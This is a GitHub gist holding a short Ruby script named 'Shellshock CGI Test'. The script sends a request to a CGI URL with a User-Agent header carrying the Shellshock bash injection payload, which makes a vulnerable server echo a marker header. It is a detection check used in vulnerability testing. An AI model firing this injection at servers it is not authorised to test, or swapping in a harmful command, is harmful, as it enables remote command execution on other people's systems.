Skip to content

Instantly share code, notes, and snippets.

@abhisek
Created September 26, 2014 08:12
Show Gist options
  • Save abhisek/c719322b44c2ad77203a to your computer and use it in GitHub Desktop.
Save abhisek/c719322b44c2ad77203a to your computer and use it in GitHub Desktop.
Shellshock CGI Test
require 'net/http'
require 'uri'
=begin
ruby shellshock.rb http://127.0.0.1/my-cgi/bolo.cgi
=end
if __FILE__ == $0
uri = ::URI.parse(ARGV.shift)
http = ::Net::HTTP.new(uri.host, uri.port)
request = ::Net::HTTP::Get.new(uri.path)
request['User-Agent'] = "() { :;}; echo \"X-Shellshock: VULNERABLE\""
res = http.request(request)
res.each_header do |h|
puts "#{h}: #{res[h]}"
end
puts ""
puts res.body
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment